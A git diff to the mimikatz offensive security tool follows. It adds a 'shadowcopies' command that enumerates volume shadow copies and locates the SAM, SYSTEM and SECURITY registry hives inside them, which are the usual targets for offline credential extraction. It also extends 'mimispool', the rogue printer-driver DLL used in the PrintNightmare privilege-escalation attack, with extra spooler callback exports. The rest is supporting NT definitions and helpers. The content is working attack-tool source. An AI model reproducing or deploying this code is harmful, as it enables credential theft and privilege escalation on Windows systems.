diff --git a/lib/Win32/ntdll.min.lib b/lib/Win32/ntdll.min.lib index 79c592d5..fce1d309 100644 Binary files a/lib/Win32/ntdll.min.lib and b/lib/Win32/ntdll.min.lib differ diff --git a/lib/x64/ntdll.min.lib b/lib/x64/ntdll.min.lib index 8ebb06ef..626afbe1 100644 Binary files a/lib/x64/ntdll.min.lib and b/lib/x64/ntdll.min.lib differ diff --git a/mimikatz/modules/kuhl_m_misc.c b/mimikatz/modules/kuhl_m_misc.c index c5df8947..12477fb9 100644 --- a/mimikatz/modules/kuhl_m_misc.c +++ b/mimikatz/modules/kuhl_m_misc.c @@ -30,6 +30,7 @@ const KUHL_M_C kuhl_m_c_misc[] = { {kuhl_m_misc_spooler, L"spooler", NULL}, {kuhl_m_misc_printnightmare, L"printnightmare", NULL}, {kuhl_m_misc_sccm_accounts, L"sccm", NULL}, + {kuhl_m_misc_shadowcopies, L"shadowcopies", NULL}, }; const KUHL_M kuhl_m_misc = { L"misc", L"Miscellaneous module", NULL, @@ -1883,3 +1884,85 @@ NTSTATUS kuhl_m_misc_sccm_accounts(int argc, wchar_t * argv[]) return STATUS_SUCCESS; } + +DECLARE_CONST_UNICODE_STRING(usRootDevice, L"\\Device"); +DECLARE_CONST_UNICODE_STRING(usDevice, L"Device"); +const OBJECT_ATTRIBUTES oaDevice = RTL_CONSTANT_OBJECT_ATTRIBUTES(&usRootDevice, 0); +const wchar_t *INT_FILES[] = {L"SYSTEM", L"SAM", L"SECURITY", L"SOFTWARE"}; +NTSTATUS kuhl_m_misc_shadowcopies(int argc, wchar_t * argv[]) +{ + NTSTATUS status; + HANDLE hDeviceDirectory; + BYTE Buffer[0x100]; + ULONG Start, Context, ReturnLength, i, j; + BOOLEAN RestartScan; + POBJECT_DIRECTORY_INFORMATION pDirectoryInformation; + PWSTR szName, szShadowName, szFullPath; + WIN32_FILE_ATTRIBUTE_DATA Attribute; + + status = NtOpenDirectoryObject(&hDeviceDirectory, DIRECTORY_QUERY | DIRECTORY_TRAVERSE, (POBJECT_ATTRIBUTES) &oaDevice); + if(NT_SUCCESS(status)) + { + for(Start = 0, Context = 0, RestartScan = TRUE, status = STATUS_MORE_ENTRIES; status == STATUS_MORE_ENTRIES; ) + { + status = NtQueryDirectoryObject(hDeviceDirectory, Buffer, sizeof(Buffer), FALSE, RestartScan, &Context, &ReturnLength); + if(NT_SUCCESS(status)) + { + pDirectoryInformation = (POBJECT_DIRECTORY_INFORMATION) Buffer; + for(i = 0; i < (Context - Start); i++) + { + if(RtlEqualUnicodeString(&usDevice, &pDirectoryInformation[i].TypeName, TRUE)) + { + szName = kull_m_string_unicode_to_string(&pDirectoryInformation[i].Name); + if(szName) + { + if(szName == wcsstr(szName, L"HarddiskVolumeShadowCopy")) + { + if(kull_m_string_sprintf(&szShadowName, L"\\\\?\\GLOBALROOT\\Device\\%s\\", szName)) + { + kprintf(L"\nShadowCopy Volume : %s\n", szName); + kprintf(L"| Path : %s\n", szShadowName); + + if(GetFileAttributesEx(szShadowName, GetFileExInfoStandard, &Attribute)) + { + kprintf(L"| Volume LastWrite: "); + kull_m_string_displayLocalFileTime(&Attribute.ftLastWriteTime); + kprintf(L"\n"); + } + else PRINT_ERROR_AUTO(L"GetFileAttributesEx"); + kprintf(L"\n"); + for(j = 0; j < ARRAYSIZE(INT_FILES); j++) + { + if(kull_m_string_sprintf(&szFullPath, L"%sWindows\\System32\\config\\%s", szShadowName, INT_FILES[j])) + { + kprintf(L"* %s\n", szFullPath); + + if(GetFileAttributesEx(szFullPath, GetFileExInfoStandard, &Attribute)) + { + kprintf(L" | LastWrite : "); + kull_m_string_displayLocalFileTime(&Attribute.ftLastWriteTime); + kprintf(L"\n"); + } + else PRINT_ERROR_AUTO(L"GetFileAttributesEx"); + + LocalFree(szFullPath); + } + } + LocalFree(szShadowName); + } + } + LocalFree(szName); + } + } + } + Start = Context; + RestartScan = FALSE; + } + else PRINT_ERROR(L"NtQueryDirectoryObject: 0x%08x\n", status); + } + CloseHandle(hDeviceDirectory); + } + else PRINT_ERROR(L"NtOpenDirectoryObject: 0x%08x\n", status); + + return STATUS_SUCCESS; +} \ No newline at end of file diff --git a/mimikatz/modules/kuhl_m_misc.h b/mimikatz/modules/kuhl_m_misc.h index 84be28aa..4baa354c 100644 --- a/mimikatz/modules/kuhl_m_misc.h +++ b/mimikatz/modules/kuhl_m_misc.h @@ -47,6 +47,7 @@ NTSTATUS kuhl_m_misc_aadcookie_NgcSignWithSymmetricPopKey(int argc, wchar_t * ar NTSTATUS kuhl_m_misc_spooler(int argc, wchar_t * argv[]); NTSTATUS kuhl_m_misc_printnightmare(int argc, wchar_t * argv[]); NTSTATUS kuhl_m_misc_sccm_accounts(int argc, wchar_t * argv[]); +NTSTATUS kuhl_m_misc_shadowcopies(int argc, wchar_t * argv[]); BOOL kuhl_m_misc_printnightmare_normalize_library(LPCWSTR szLibrary, LPWSTR *pszNormalizedLibrary, LPWSTR *pszShortLibrary); BOOL kuhl_m_misc_printnightmare_FillStructure(PDRIVER_INFO_2 pInfo2, BOOL bIsX64, BOOL bIsDynamic, LPCWSTR szForce, BOOL bIsPar, handle_t hRemoteBinding); diff --git a/mimispool/mimispool.c b/mimispool/mimispool.c index b233b860..e140c1a8 100644 --- a/mimispool/mimispool.c +++ b/mimispool/mimispool.c @@ -14,7 +14,7 @@ BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserv case DLL_PROCESS_ATTACH: kspool(TEXT(__FUNCTION__) L"-PROCESS_ATTACH"); ret = FALSE; - // FALSE avoid to keep library in memory + // FALSE avoid to keep library in memory (PrintNightmare < 3/4) // TRUE will mimic "real" driver/config -- to use/test with /useown on local (remote is not compatible with GetFileVersionInfo*) break; @@ -100,11 +100,7 @@ void kspool(LPCWSTR szFrom) if(kspool_logfile = _wfopen(L"mimispool.log", L"a")) #pragma warning(pop) { - if(GetUserName(Buffer, &cbBuffer)) - { - klog(kspool_logfile, L"[" PLATFORM L"] [%s] I\'m running with \'%s\' (and I like it :)\n", szFrom, Buffer); - } - + klog(kspool_logfile, L"[" PLATFORM L"] [%s] as \'%s\'\n", szFrom, GetUserName(Buffer, &cbBuffer) ? Buffer : L"-"); fclose(kspool_logfile); } } @@ -119,4 +115,16 @@ void klog(FILE * logfile, PCWCHAR format, ...) va_end(args); fflush(logfile); } +} + +DWORD WINAPI GenerateCopyFilePaths(LPCWSTR pszPrinterName, LPCWSTR pszDirectory, LPBYTE pSplClientInfo, DWORD dwLevel, LPWSTR pszSourceDir, LPDWORD pcchSourceDirSize, LPWSTR pszTargetDir, LPDWORD pcchTargetDirSize, DWORD dwFlags) +{ + kspool(TEXT(__FUNCTION__)); + return ERROR_SUCCESS; +} + +BOOL WINAPI SpoolerCopyFileEvent(LPWSTR pszPrinterName, LPWSTR pszKey, DWORD dwCopyFileEvent) +{ + kspool(TEXT(__FUNCTION__)); + return TRUE; } \ No newline at end of file diff --git a/mimispool/mimispool.def b/mimispool/mimispool.def index 2f4b69fd..8b855957 100644 --- a/mimispool/mimispool.def +++ b/mimispool/mimispool.def @@ -4,4 +4,7 @@ EXPORTS DrvEnableDriver DrvDisableDriver - DrvResetConfigCache \ No newline at end of file + DrvResetConfigCache + + GenerateCopyFilePaths + SpoolerCopyFileEvent \ No newline at end of file diff --git a/mimispool/mimispool.h b/mimispool/mimispool.h index 6c17c719..2fb66cb4 100644 --- a/mimispool/mimispool.h +++ b/mimispool/mimispool.h @@ -33,4 +33,7 @@ __control_entrypoint(DeviceDriver) BOOL APIENTRY DrvEnableDriver(ULONG iEngineVe VOID APIENTRY DrvDisableDriver(); void kspool(LPCWSTR szFrom); -void klog(FILE * logfile, PCWCHAR format, ...); \ No newline at end of file +void klog(FILE * logfile, PCWCHAR format, ...); + +DWORD WINAPI GenerateCopyFilePaths(LPCWSTR pszPrinterName, LPCWSTR pszDirectory, LPBYTE pSplClientInfo, DWORD dwLevel, LPWSTR pszSourceDir, LPDWORD pcchSourceDirSize, LPWSTR pszTargetDir, LPDWORD pcchTargetDirSize, DWORD dwFlags); +BOOL WINAPI SpoolerCopyFileEvent(LPWSTR pszPrinterName, LPWSTR pszKey, DWORD dwCopyFileEvent); \ No newline at end of file diff --git a/modules/kull_m_process.h b/modules/kull_m_process.h index fadf0750..aa6ca9df 100644 --- a/modules/kull_m_process.h +++ b/modules/kull_m_process.h @@ -373,6 +373,74 @@ typedef struct _SYSTEM_ISOLATED_USER_MODE_INFORMATION { //ULONGLONG Spare1; } SYSTEM_ISOLATED_USER_MODE_INFORMATION, *PSYSTEM_ISOLATED_USER_MODE_INFORMATION; +#define OBJ_INHERIT 0x00000002L +#define OBJ_PERMANENT 0x00000010L +#define OBJ_EXCLUSIVE 0x00000020L +#define OBJ_CASE_INSENSITIVE 0x00000040L +#define OBJ_OPENIF 0x00000080L +#define OBJ_OPENLINK 0x00000100L +#define OBJ_KERNEL_HANDLE 0x00000200L +#define OBJ_FORCE_ACCESS_CHECK 0x00000400L +#define OBJ_VALID_ATTRIBUTES 0x000007F2L + +typedef struct _OBJECT_ATTRIBUTES64 { + ULONG Length; + ULONG64 RootDirectory; + ULONG64 ObjectName; + ULONG Attributes; + ULONG64 SecurityDescriptor; + ULONG64 SecurityQualityOfService; +} OBJECT_ATTRIBUTES64; +typedef OBJECT_ATTRIBUTES64 *POBJECT_ATTRIBUTES64; +typedef CONST OBJECT_ATTRIBUTES64 *PCOBJECT_ATTRIBUTES64; + +typedef struct _OBJECT_ATTRIBUTES32 { + ULONG Length; + ULONG RootDirectory; + ULONG ObjectName; + ULONG Attributes; + ULONG SecurityDescriptor; + ULONG SecurityQualityOfService; +} OBJECT_ATTRIBUTES32; +typedef OBJECT_ATTRIBUTES32 *POBJECT_ATTRIBUTES32; +typedef CONST OBJECT_ATTRIBUTES32 *PCOBJECT_ATTRIBUTES32; + +typedef struct _OBJECT_ATTRIBUTES { + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; // Points to type SECURITY_DESCRIPTOR + PVOID SecurityQualityOfService; // Points to type SECURITY_QUALITY_OF_SERVICE +} OBJECT_ATTRIBUTES; +typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES; +typedef CONST OBJECT_ATTRIBUTES *PCOBJECT_ATTRIBUTES; + +#define InitializeObjectAttributes( p, n, a, r, s ) { \ + (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ + (p)->RootDirectory = r; \ + (p)->Attributes = a; \ + (p)->ObjectName = n; \ + (p)->SecurityDescriptor = s; \ + (p)->SecurityQualityOfService = NULL; \ + } + +#define RTL_CONSTANT_OBJECT_ATTRIBUTES(n, a) \ + { sizeof(OBJECT_ATTRIBUTES), NULL, RTL_CONST_CAST(PUNICODE_STRING)(n), a, NULL, NULL } + +#define RTL_INIT_OBJECT_ATTRIBUTES(n, a) RTL_CONSTANT_OBJECT_ATTRIBUTES(n, a) + +#define DIRECTORY_QUERY 0x0001 +#define DIRECTORY_TRAVERSE 0x0002 +#define DIRECTORY_CREATE_OBJECT 0x0004 +#define DIRECTORY_CREATE_SUBDIRECTORY 0x0008 +#define DIRECTORY_ALL_ACCESS STANDARD_RIGHTS_REQUIRED | 0xF + +typedef struct _OBJECT_DIRECTORY_INFORMATION { + UNICODE_STRING Name; + UNICODE_STRING TypeName; +} OBJECT_DIRECTORY_INFORMATION, *POBJECT_DIRECTORY_INFORMATION; + extern NTSTATUS WINAPI NtQuerySystemInformation(IN SYSTEM_INFORMATION_CLASS SystemInformationClass, OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT OPTIONAL PULONG ReturnLength); extern NTSTATUS WINAPI NtQuerySystemInformationEx(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID InputBuffer, ULONG InputBufferLength, PVOID SystemInformation, ULONG SystemInformationLength, ULONG *ReturnLength); extern NTSTATUS WINAPI NtSetSystemInformation(IN SYSTEM_INFORMATION_CLASS SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength); @@ -380,6 +448,8 @@ extern NTSTATUS WINAPI NtQueryInformationProcess(IN HANDLE ProcessHandle, IN PRO extern NTSTATUS WINAPI NtSuspendProcess(IN HANDLE ProcessHandle); extern NTSTATUS WINAPI NtResumeProcess(IN HANDLE ProcessHandle); extern NTSTATUS WINAPI NtTerminateProcess(IN OPTIONAL HANDLE ProcessHandle, IN NTSTATUS ExitStatus); +extern NTSTATUS WINAPI NtOpenDirectoryObject(OUT PHANDLE DirectoryHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes); +extern NTSTATUS WINAPI NtQueryDirectoryObject(IN HANDLE DirectoryHandle, OUT OPTIONAL PVOID Buffer, IN ULONG Length, IN BOOLEAN ReturnSingleEntry, IN BOOLEAN RestartScan, IN OUT PULONG Context, OUT OPTIONAL PULONG ReturnLength); typedef NTSTATUS (WINAPI * PNTQUERYSYSTEMINFORMATIONEX) (SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID InputBuffer, ULONG InputBufferLength, PVOID SystemInformation, ULONG SystemInformationLength, ULONG *ReturnLength); diff --git a/modules/kull_m_string.c b/modules/kull_m_string.c index 070779d8..bf11ba0a 100644 --- a/modules/kull_m_string.c +++ b/modules/kull_m_string.c @@ -358,6 +358,22 @@ BOOL kull_m_string_copyA(LPSTR *dst, LPCSTR src) return status; } +PWSTR kull_m_string_unicode_to_string(PCUNICODE_STRING src) +{ + PWSTR ret = NULL; + + if(src->Length && src->Buffer) + { + ret = (PWSTR) LocalAlloc(LPTR, src->Length + sizeof(wchar_t)); + if(ret) + { + RtlCopyMemory(ret, src->Buffer, src->Length); + } + } + + return ret; +} + BOOL kull_m_string_quickxml_simplefind(LPCWSTR xml, LPCWSTR node, LPWSTR *dst) { BOOL status = FALSE; diff --git a/modules/kull_m_string.h b/modules/kull_m_string.h index 5139d374..445e0ed5 100644 --- a/modules/kull_m_string.h +++ b/modules/kull_m_string.h @@ -95,6 +95,7 @@ BOOL kull_m_string_copy_len(LPWSTR *dst, LPCWSTR src, size_t size); BOOL kull_m_string_copy(LPWSTR *dst, LPCWSTR src); BOOL kull_m_string_copyA_len(LPSTR *dst, LPCSTR src, size_t size); BOOL kull_m_string_copyA(LPSTR *dst, LPCSTR src); +PWSTR kull_m_string_unicode_to_string(PCUNICODE_STRING src); BOOL kull_m_string_quickxml_simplefind(LPCWSTR xml, LPCWSTR node, LPWSTR *dst); #if !defined(MIMIKATZ_W2000_SUPPORT) BOOL kull_m_string_quick_base64_to_Binary(PCWSTR base64, PBYTE *data, DWORD *szData);